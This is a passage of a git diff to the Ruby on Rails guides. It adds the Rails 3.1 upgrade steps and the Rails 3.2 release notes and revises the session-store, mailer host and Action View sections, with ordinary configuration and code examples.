diff options
Diffstat (limited to 'railties/guides/source')
48 files changed, 3457 insertions, 1322 deletions
diff --git a/railties/guides/source/3_1_release_notes.textile b/railties/guides/source/3_1_release_notes.textile index c4da87dc34..f88d8624ba 100644 --- a/railties/guides/source/3_1_release_notes.textile +++ b/railties/guides/source/3_1_release_notes.textile @@ -21,6 +21,113 @@ Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby ve TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing. +h4. What to update in your apps + +The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails. + +h5. Gemfile + +Make the following changes to your +Gemfile+. + +<ruby> +gem 'rails', '= 3.1.3' +gem 'mysql2' + +# Needed for the new asset pipeline +group :assets do + gem 'sass-rails', "~> 3.1.5" + gem 'coffee-rails', "~> 3.1.1" + gem 'uglifier', ">= 1.0.3" +end + +# jQuery is the default JavaScript library in Rails 3.1 +gem 'jquery-rails' +</ruby> + +h5. config/application.rb + +* The asset pipeline requires the following additions: + +<ruby> +config.assets.enabled = true +config.assets.version = '1.0' +</ruby> + +* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts: + +<ruby> +# Defaults to '/assets' +config.assets.prefix = '/asset-files' +</ruby> + +h5. config/environments/development.rb + +* Remove the RJS setting <tt>config.action_view.debug_rjs = true</tt>. + +* Add the following, if you enable the asset pipeline. + +<ruby> +# Do not compress assets +config.assets.compress = false + +# Expands the lines which load the assets +config.assets.debug = true +</ruby> + +h5. config/environments/production.rb + +* Again, most of the changes below are for the asset pipeline. You can read more about these in the "Asset Pipeline":asset_pipeline.html guide. + +<ruby> +# Compress JavaScripts and CSS +config.assets.compress = true + +# Don't fallback to assets pipeline if a precompiled asset is missed +config.assets.compile = false + +# Generate digests for assets URLs +config.assets.digest = true + +# Defaults to Rails.root.join("public/assets") +# config.assets.manifest = YOUR_PATH + +# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) +# config.assets.precompile += %w( search.js ) + + +# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. +# config.force_ssl = true + +</ruby> + +h5. config/environments/test.rb + +<ruby> +# Configure static asset server for tests with Cache-Control for performance +config.serve_static_assets = true +config.static_cache_control = "public, max-age=3600" +</ruby> + +h5. config/initializers/wrap_parameters.rb + +* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications. + +<ruby> +# Be sure to restart your server when you modify this file. +# This file contains settings for ActionController::ParamsWrapper which +# is enabled by default. + +# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. +ActiveSupport.on_load(:action_controller) do + wrap_parameters :format => [:json] +end + +# Disable root element in JSON by default. +ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false +end +</ruby> + h3. Creating a Rails 3.1 application <shell> @@ -46,7 +153,7 @@ $ rails new myapp --edge If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag: <shell> -$ ruby /path/to/rails/bin/rails new myapp --dev +$ ruby /path/to/rails/railties/bin/rails new myapp --dev </shell> h3. Rails Architectural Changes diff --git a/railties/guides/source/3_2_release_notes.textile b/railties/guides/source/3_2_release_notes.textile new file mode 100644 index 0000000000..d669a7fdfa --- /dev/null +++ b/railties/guides/source/3_2_release_notes.textile @@ -0,0 +1,540 @@ +h2. Ruby on Rails 3.2 Release Notes + +Highlights in Rails 3.2: + +* Faster Development Mode +* New Routing Engine +* Automatic Query Explains +* Tagged Logging + +These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/3-2-stable in the main Rails repository on GitHub. + +endprologue. + +h3. Upgrading to Rails 3.2 + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes: + +h4. Rails 3.2 requires at least Ruby 1.8.7 + +Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. + +h4. What to update in your apps + +* Update your Gemfile to depend on +** <tt>rails = 3.2.0</tt> +** <tt>sass-rails ~> 3.2.3</tt> +** <tt>coffee-rails ~> 3.2.1</tt> +** <tt>uglifier >= 1.0.3</tt> + +* Rails 3.2 deprecates <tt>vendor/plugins</tt> and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>. + +* There are a couple of new configuration changes you'd want to add in <tt>config/environments/development.rb</tt>: + +<ruby> +# Raise exception on mass assignment protection for Active Record models +config.active_record.mass_assignment_sanitizer = :strict + +# Log the query plan for queries taking more than this (works +# with SQLite, MySQL, and PostgreSQL) +config.active_record.auto_explain_threshold_in_seconds = 0.5 +</ruby> + +The <tt>mass_assignment_sanitizer</tt> config also needs to be added in <tt>config/environments/test.rb</tt>: + +<ruby> +# Raise exception on mass assignment protection for Active Record models +config.active_record.mass_assignment_sanitizer = :strict +</ruby> + +h3. Creating a Rails 3.2 application + +<shell> +# You should have the 'rails' rubygem installed +$ rails new myapp +$ cd myapp +</shell> + +h4. Vendoring Gems + +Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: "Bundler homepage":http://gembundler.com + +h4. Living on the Edge + ++Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag: + +<shell> +$ rails new myapp --edge +</shell> + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag: + +<shell> +$ ruby /path/to/rails/railties/bin/rails new myapp --dev +</shell> + +h3. Major Features + +h4. Faster Development Mode & Routing + +Rails 3.2 comes with a development mode that's noticeably faster. Inspired by "Active Reload":https://github.com/paneq/active_reload, Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new "Journey":https://github.com/rails/journey engine. + +h4. Automatic Query Explains + +Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an +explain+ method in <tt>ActiveRecord::Relation</tt>. For example, you can run something like <tt>puts Person.active.limit(5).explain</tt> and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations. + +Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed. + +h4. Tagged Logging + +When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. + +h3. Documentation + +From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc. + +h3. Railties + +* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting <tt>config.reload_classes_only_on_change</tt> to false. + +* New applications get a flag <tt>config.active_record.auto_explain_threshold_in_seconds</tt> in the environments configuration files. With a value of <tt>0.5</tt> in <tt>development.rb</tt> and commented out in <tt>production.rb</tt>. No mention in <tt>test.rb</tt>. + +* Added <tt>config.exceptions_app</tt> to set the exceptions application invoked by the +ShowException+ middleware when an exception happens. Defaults to <tt>ActionDispatch::PublicExceptions.new(Rails.public_path)</tt>. + +* Added a <tt>DebugExceptions</tt> middleware which contains features extracted from <tt>ShowExceptions</tt> middleware. + +* Display mounted engines' routes in <tt>rake routes</tt>. + +* Allow to change the loading order of railties with <tt>config.railties_order</tt> like: + +<ruby> +config.railties_order = [Blog::Engine, :main_app, :all] +</ruby> + +* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box. + +* Update <tt>Rails::Rack::Logger</tt> middleware to apply any tags set in <tt>config.log_tags</tt> to <tt>ActiveSupport::TaggedLogging</tt>. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. + +* Default options to +rails new+ can be set in <tt>~/.railsrc</tt>. You can specify extra command-line arguments to be used every time 'rails new' runs in the <tt>.railsrc</tt> configuration file in your home directory. + +* Add an alias +d+ for +destroy+. This works for engines too. + +* Attributes on scaffold and model generators default to string. This allows the following: <tt>rails g scaffold Post title body:text author</tt> + +* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example, + +<ruby> +rails g scaffold Post title:string:index author:uniq price:decimal{7,2} +</ruby> + +will create indexes for +title+ and +author+ with the latter being an unique index. Some types such as decimal accept custom options. In the example, +price+ will be a decimal column with precision and scale set to 7 and 2 respectively. + +* Turn gem has been removed from default Gemfile. + +* Remove old plugin generator +rails generate plugin+ in favor of +rails plugin new+ command. + +* Remove old <tt>config.paths.app.controller</tt> API in favor of <tt>config.paths["app/controller"]</tt>. + +h4(#railties_deprecations). Deprecations + +* +Rails::Plugin+ is deprecated and will be removed in Rails 4.0. Instead of adding plugins to +vendor/plugins+ use gems or bundler with path or git dependencies. + +h3. Action Mailer + +* Upgraded <tt>mail</tt> version to 2.4.0. + +* Removed the old Action Mailer API which was deprecated since Rails 3.0. + +h3. Action Pack + +h4. Action Controller + +* Make <tt>ActiveSupport::Benchmarkable</tt> a default module for <tt>ActionController::Base,</tt> so the <tt>#benchmark</tt> method is once again available in the controller context like it used to be. + +* Added +:gzip+ option to +caches_page+. The default option can be configured globally using <tt>page_cache_compression</tt>. + +* Rails will now use your default layout (such as "layouts/application") when you specify a layout with <tt>:only</tt> and <tt>:except</tt> condition, and those conditions fail. + +<ruby> +class CarsController + layout 'single_car', :only => :show +end +</ruby> + +Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions. + +* form_for is changed to use "#{action}_#{as}" as the css class and id if +:as+ option is provided. Earlier versions used "#{as}_#{action}". + +* <tt>ActionController::ParamsWrapper</tt> on ActiveRecord models now only wrap <tt>attr_accessible</tt> attributes if they were set. If not, only the attributes returned by the class method +attribute_names+ will be wrapped. This fixes the wrapping of nested attributes by adding them to +attr_accessible+. + +* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts. + +* <tt>ActionDispatch::ShowExceptions</tt> is refactored. The controller is responsible for choosing to show exceptions. It's possible to override +show_detailed_exceptions?+ in controllers to specify which requests should provide debugging information on errors. + +* Responders now return 204 No Content for API requests without a response body (as in the new scaffold). + +* <tt>ActionController::TestCase</tt> cookies is refactored. Assigning cookies for test cases should now use <tt>cookies[]</tt> + +<ruby> +cookies[:email] = 'user@example.com' +get :index +assert_equal 'user@example.com', cookies[:email] +</ruby> + +To clear the cookies, use +clear+. + +<ruby> +cookies.clear +get :index +assert_nil cookies[:email] +</ruby> + +We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created. + +* <tt>send_file</tt> now guesses the MIME type from the file extension if +:type+ is not provided. + +* MIME type entries for PDF, ZIP and other formats were added. + +* Allow fresh_when/stale? to take a record instead of an options hash. + +* Changed log level of warning for missing CSRF token from <tt>:debug</tt> to <tt>:warn</tt>. + +* Assets should use the request protocol by default or default to relative if no request is available. + +h5(#actioncontroller_deprecations). Deprecations + +* Deprecated implied layout lookup in controllers whose parent had a explicit layout set: + +<ruby> +class ApplicationController + layout "application" +end + +class PostsController < ApplicationController +end +</ruby> + +In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove <tt>layout "application"</tt> from +ApplicationController+ or explicitly set it to +nil+ in +PostsController+. + +* Deprecated <tt>ActionController::UnknownAction</tt> in favour of <tt>AbstractController::ActionNotFound</tt>. + +* Deprecated <tt>ActionController::DoubleRenderError</tt> in favour of <tt>AbstractController::DoubleRenderError</tt>. + +* Deprecated <tt>method_missing</tt> in favour of +action_missing+ for missing actions. + +* Deprecated <tt>ActionController#rescue_action</tt>, <tt>ActionController#initialize_template_class</tt> and <tt>ActionController#assign_shortcuts</tt>. + +h4. Action Dispatch + +* Add <tt>config.action_dispatch.default_charset</tt> to configure default charset for <tt>ActionDispatch::Response</tt>. + +* Added <tt>ActionDispatch::RequestId</tt> middleware that'll make a unique X-Request-Id header available to the response and enables the <tt>ActionDispatch::Request#uuid</tt> method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog. + +* The <tt>ShowExceptions</tt> middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in +env["action_dispatch.exception"]+ and with the <tt>PATH_INFO</tt> rewritten to the status code. + +* Allow rescue responses to be configured through a railtie as in <tt>config.action_dispatch.rescue_responses</tt>. + +h5(#actiondispatch_deprecations). Deprecations + +* Deprecated the ability to set a default charset at the controller level, use the new <tt>config.action_dispatch.default_charset</tt> instead. + +h4. Action View + +* Add +button_tag+ support to <tt>ActionView::Helpers::FormBuilder</tt>. This support mimics the default behavior of +submit_tag+. + +<ruby> +<%= form_for @post do |f| %> + <%= f.button %> +<% end %> +</ruby> + +* Date helpers accept a new option <tt>:use_two_digit_numbers => true</tt>, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'. + +* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id. + +<ruby> +<%= form_for(@offer, :namespace => 'namespace') do |f| %> + <%= f.label :version, 'Version' %>: + <%= f.text_field :version %> +<% end %> +</ruby> + +* Limit the number of options for +select_year+ to 1000. Pass +:max_years_allowed+ option to set your own limit. + +* +content_tag_for+ and +div_for+ can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this: + +<ruby> +@items.each do |item| + content_tag_for(:li, item) do + Title: <%= item.title %> + end +end +</ruby> + +You can do this: + +<ruby> +content_tag_for(:li, @items) do |item| + Title: <%= item.title %> +end +</ruby> + +* Added +font_path+ helper method that computes the path to a font asset in <tt>public/fonts</tt>. + +h5(#actionview_deprecations). Deprecations + +* Passing formats or handlers to render :template and friends like <tt>render :template => "foo.html.erb"</tt> is deprecated. Instead, you can provide :handlers and :formats directly as an options: <tt> render :template => "foo", :formats => [:html, :js], :handlers => :erb</tt>. + +h4. Sprockets + +* Adds a configuration option <tt>config.assets.logger</tt> to control Sprockets logging. Set it to +false+ to turn off logging and to +nil+ to default to +Rails.logger+. + +h3. Active Record + +* Boolean columns with 'on' and 'ON' values are type cast to true. + +* When the +timestamps+ method creates the +created_at+ and +updated_at+ columns, it makes them non-nullable by default. + +* Implemented <tt>ActiveRecord::Relation#explain</tt>. + +* Implements <tt>AR::Base.silence_auto_explain</tt> which allows the user to selectively disable automatic EXPLAINs within a block. + +* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter +config.active_record.auto_explain_threshold_in_seconds+ determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL. + +* Added <tt>ActiveRecord::Base.store</tt> for declaring simple single-column key/value stores. + +<ruby> +class User < ActiveRecord::Base + store :settings, accessors: [ :color, :homepage ] +end + +u = User.new(color: 'black', homepage: '37signals.com') +u.color # Accessor stored attribute +u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor +</ruby> + +* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed). + +<ruby> +rake db:migrate SCOPE=blog +</ruby> + +* Migrations copied from engines are now scoped with engine's name, for example <tt>01_create_posts.blog.rb</tt>. + +* Implemented <tt>ActiveRecord::Relation#pluck</tt> method that returns an array of column values directly from the underlying table. This also works with serialized attributes. + +<ruby> +Client.where(:active => true).pluck(:id) +# SELECT id from clients where active = 1 +</ruby> + +* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named <tt>MyModel::GeneratedFeatureMethods</tt>. It is included into the model class immediately after the +generated_attributes_methods+ module defined in Active Model, so association methods override attribute methods of the same name. + +* Add <tt>ActiveRecord::Relation#uniq</tt> for generating unique queries. + +<ruby> +Client.select('DISTINCT name') +</ruby> + +..can be written as: + +<ruby> +Client.select(:name).uniq +</ruby> + +This also allows you to revert the uniqueness in a relation: + +<ruby> +Client.select(:name).uniq.uniq(false) +</ruby> + +* Support index sort order in SQLite, MySQL and PostgreSQL adapters. + +* Allow the +:class_name+ option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string. + +<ruby> +has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized +</ruby> + +* In development mode, <tt>db:drop</tt> also drops the test database in order to be symmetric with <tt>db:create</tt>. + +* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation. + +* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures. + +* Add +first_or_create+, +first_or_create!+, +first_or_initialize+ methods to Active Record. This is a better approach over the old +find_or_create_by+ dynamic methods because it's clearer which arguments are used to find the record and which are used to create it. + +<ruby> +User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson") +</ruby> + +* Added a <tt>with_lock</tt> method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to +lock!+. + +This makes it possible to write the following: + +<ruby> +class Order < ActiveRecord::Base + def cancel! + transaction do + lock! + # ... cancelling logic + end + end +end +</ruby> + +as: + +<ruby> +class Order < ActiveRecord::Base + def cancel! + with_lock do + # ... cancelling logic + end + end +end +</ruby> + +h4(#activerecord_deprecations). Deprecations + +* Automatic closure of connections in threads is deprecated. For example the following code is deprecated: + +<ruby> +Thread.new { Post.find(1) }.join +</ruby> + +It should be changed to close the database connection at the end of the thread: + +<ruby> +Thread.new { + Post.find(1) + Post.connection.close +}.join +</ruby> + +Only people who spawn threads in their application code need to worry about this change. + +* The +set_table_name+, +set_inheritance_column+, +set_sequence_name+, +set_primary_key+, +set_locking_column+ methods are deprecated. Use an assignment method instead. For example, instead of +set_table_name+, use <tt>self.table_name=</tt>. + +<ruby> +class Project < ActiveRecord::Base + self.table_name = "project" +end +</ruby> + +Or define your own <tt>self.table_name</tt> method: + +<ruby> +class Post < ActiveRecord::Base + def self.table_name + "special_" + super + end +end + +Post.table_name # => "special_posts" + +</ruby> + +h3. Active Model + +* Add <tt>ActiveModel::Errors#added?</tt> to check if a specific error has been added. + +* Add ability to define strict validations with <tt>strict => true</tt> that always raises exception when fails. + +* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior. + +h4(#activemodel_deprecations). Deprecations + +* Deprecated <tt>define_attr_method</tt> in <tt>ActiveModel::AttributeMethods</tt> because this only existed to support methods like +set_table_name+ in Active Record, which are themselves being deprecated. + +* Deprecated <tt>Model.model_name.partial_path</tt> in favor of <tt>model.to_partial_path</tt>. + +h3. Active Resource + +* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found. + +h3. Active Support + +* Added <tt>ActiveSupport:TaggedLogging</tt> that can wrap any standard +Logger+ class to provide tagging capabilities. + +<ruby> +Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) + +Logger.tagged("BCX") { Logger.info "Stuff" } +# Logs "[BCX] Stuff" + +Logger.tagged("BCX", "Jason") { Logger.info "Stuff" } +# Logs "[BCX] [Jason] Stuff" + +Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } +# Logs "[BCX] [Jason] Stuff" +</ruby> + +* The +beginning_of_week+ method in +Date+, +Time+ and +DateTime+ accepts an optional argument representing the day in which the week is assumed to start. + +* <tt>ActiveSupport::Notifications.subscribed</tt> provides subscriptions to events while a block runs. + +* Defined new methods <tt>Module#qualified_const_defined?</tt>, <tt>Module#qualified_const_get</tt> and <tt>Module#qualified_const_set</tt> that are analogous to the corresponding methods in the standard API, but accept qualified constant names. + +* Added +#deconstantize+ which complements +#demodulize+ in inflections. This removes the rightmost segment in a qualified constant name. + +* Added <tt>safe_constantize</tt> that constantizes a string but returns +nil+ instead of raising an exception if the constant (or part of it) does not exist. + +* <tt>ActiveSupport::OrderedHash</tt> is now marked as extractable when using <tt>Array#extract_options!</tt>. + +* Added <tt>Array#prepend</tt> as an alias for <tt>Array#unshift</tt> and <tt>Array#append</tt> as an alias for <tt>Array#<<</tt>. + +* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U+3000 is considered to be whitespace. + +* The inflector understands acronyms. + +* Added <tt>Time#all_day</tt>, <tt>Time#all_week</tt>, <tt>Time#all_quarter</tt> and <tt>Time#all_year</tt> as a way of generating ranges. + +<ruby> +Event.where(:created_at => Time.now.all_week) +Event.where(:created_at => Time.now.all_day) +</ruby> + +* Added <tt>instance_accessor: false</tt> as an option to <tt>Class#cattr_accessor</tt> and friends. + +* <tt>ActiveSupport::OrderedHash</tt> now has different behavior for <tt>#each</tt> and <tt>#each_pair</tt> when given a block accepting its parameters with a splat. + +* Added <tt>ActiveSupport::Cache::NullStore</tt> for use in development and testing. + +* Removed <tt>ActiveSupport::SecureRandom</tt> in favor of <tt>SecureRandom</tt> from the standard library. + +h4(#activesupport_deprecations). Deprecations + +* +ActiveSupport::Base64+ is deprecated in favor of <tt>::Base64</tt>. + +* Deprecated <tt>ActiveSupport::Memoizable</tt> in favor of Ruby memoization pattern. + +* <tt>Module#synchronize</tt> is deprecated with no replacement. Please use monitor from ruby's standard library. + +* Deprecated <tt>ActiveSupport::MessageEncryptor#encrypt</tt> and <tt>ActiveSupport::MessageEncryptor#decrypt</tt>. + +* <tt>ActiveSupport::BufferedLogger#silence</tt> is deprecated. If you want to squelch logs for a certain block, change the log level for that block. + +* <tt>ActiveSupport::BufferedLogger#open_log</tt> is deprecated. This method should not have been public in the first place. + +* <tt>ActiveSupport::BufferedLogger's</tt> behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating. + +* <tt>ActiveSupport::BufferedLogger#auto_flushing</tt> is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing. + +<ruby> +f = File.open('foo.log', 'w') +f.sync = true +ActiveSupport::BufferedLogger.new f +</ruby> + +* <tt>ActiveSupport::BufferedLogger#flush</tt> is deprecated. Set sync on your filehandle, or tune your filesystem. + +h3. Credits + +See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. + +Rails 3.2 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev. diff --git a/railties/guides/source/_license.html.erb b/railties/guides/source/_license.html.erb new file mode 100644 index 0000000000..00b4466f50 --- /dev/null +++ b/railties/guides/source/_license.html.erb @@ -0,0 +1,2 @@ +<p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p> +<p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p> diff --git a/railties/guides/source/_welcome.html.erb b/railties/guides/source/_welcome.html.erb new file mode 100644 index 0000000000..9d2e9c1d68 --- /dev/null +++ b/railties/guides/source/_welcome.html.erb @@ -0,0 +1,19 @@ +<h2>Ruby on Rails Guides (<%= @version %>)</h2> + +<% if @edge %> +<p> + These are <b>Edge Guides</b>, based on the current <a href="https://github.com/rails/rails/tree/<%= @version %>">master</a> branch. +</p> +<p> + If you are looking for the ones for the stable version, please check + <a href="http://guides.rubyonrails.org">http://guides.rubyonrails.org</a> instead. +</p> +<% else %> +<p> + These are the new guides for Rails 3.2 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>. + These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. +</p> +<% end %> +<p> + The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>. +</p> diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile index d8d66302fe..bc85f07ecc 100644 --- a/railties/guides/source/action_controller_overview.textile +++ b/railties/guides/source/action_controller_overview.textile @@ -16,7 +16,7 @@ h3. What Does a Controller Do? Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible. -For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work. +For most conventional "RESTful":http://en.wikipedia.org/wiki/Representational_state_transfer applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work. A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model. @@ -166,10 +166,10 @@ h3. Session Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms: -* CookieStore - Stores everything on the client. -* DRbStore - Stores the data on a DRb server. -* MemCacheStore - Stores the data in a memcache. -* ActiveRecordStore - Stores the data in a database using Active Record. +* ActionDispatch::Session::CookieStore - Stores everything on the client. +* ActiveRecord::SessionStore - Stores the data in a database using Active Record. +* ActionDispatch::Session::CacheStore - Stores the data in the Rails cache. +* ActionDispatch::Session::MemCacheStore - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead). All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure). @@ -177,6 +177,8 @@ For most stores this ID is used to look up the session data on the server, e.g. The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. +If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. + Read more about session storage in the "Security Guide":security.html. If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file: @@ -796,7 +798,7 @@ NOTE: Certain exceptions are only rescuable from the +ApplicationController+ cla h3. Force HTTPS protocol -Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reason. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that: +Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that: <ruby> class DinnerController diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile index ad5b848d2c..26c95be031 100644 --- a/railties/guides/source/action_mailer_basics.textile +++ b/railties/guides/source/action_mailer_basics.textile @@ -362,21 +362,14 @@ When using named routes you only need to supply the +:host+: Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense. -It is also possible to set a default host that will be used in all mailers by setting the +:host+ option in the +ActionMailer::Base.default_url_options+ hash as follows: +It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt> option as a configuration option in <tt>config/application.rb</tt>: <ruby> -class UserMailer < ActionMailer::Base - default_url_options[:host] = "example.com" - - def welcome_email(user) - @user = user - @url = user_url(@user) - mail(:to => user.email, - :subject => "Welcome to My Awesome Site") - end -end +config.action_mailer.default_url_options = { :host => "example.com" } </ruby> +If you use this setting, you should pass the <tt>:only_path => false</tt> option when using +url_for+. This will ensure that absolute URLs are generated because the +url_for+ view helper will, by default, generate relative URLs when a <tt>:host</tt> option isn't explicitly provided. + h4. Sending Multipart Emails Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.erb+ and +welcome_email.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts. diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile index 87250c684b..ac5c9fa4d8 100644 --- a/railties/guides/source/action_view_overview.textile +++ b/railties/guides/source/action_view_overview.textile @@ -16,7 +16,7 @@ Action View and Action Controller are the two major components of Action Pack. I Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves. -Note: Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend. +NOTE. Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend. h3. Using Action View with Rails @@ -898,7 +898,7 @@ h5. select_year Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+. <ruby> -# Generates a select field for five years on either side of +Date.today+ that defaults to the current year +# Generates a select field for five years on either side of Date.today that defaults to the current year select_year(Date.today) # Generates a select field from 1900 to 2009 that defaults 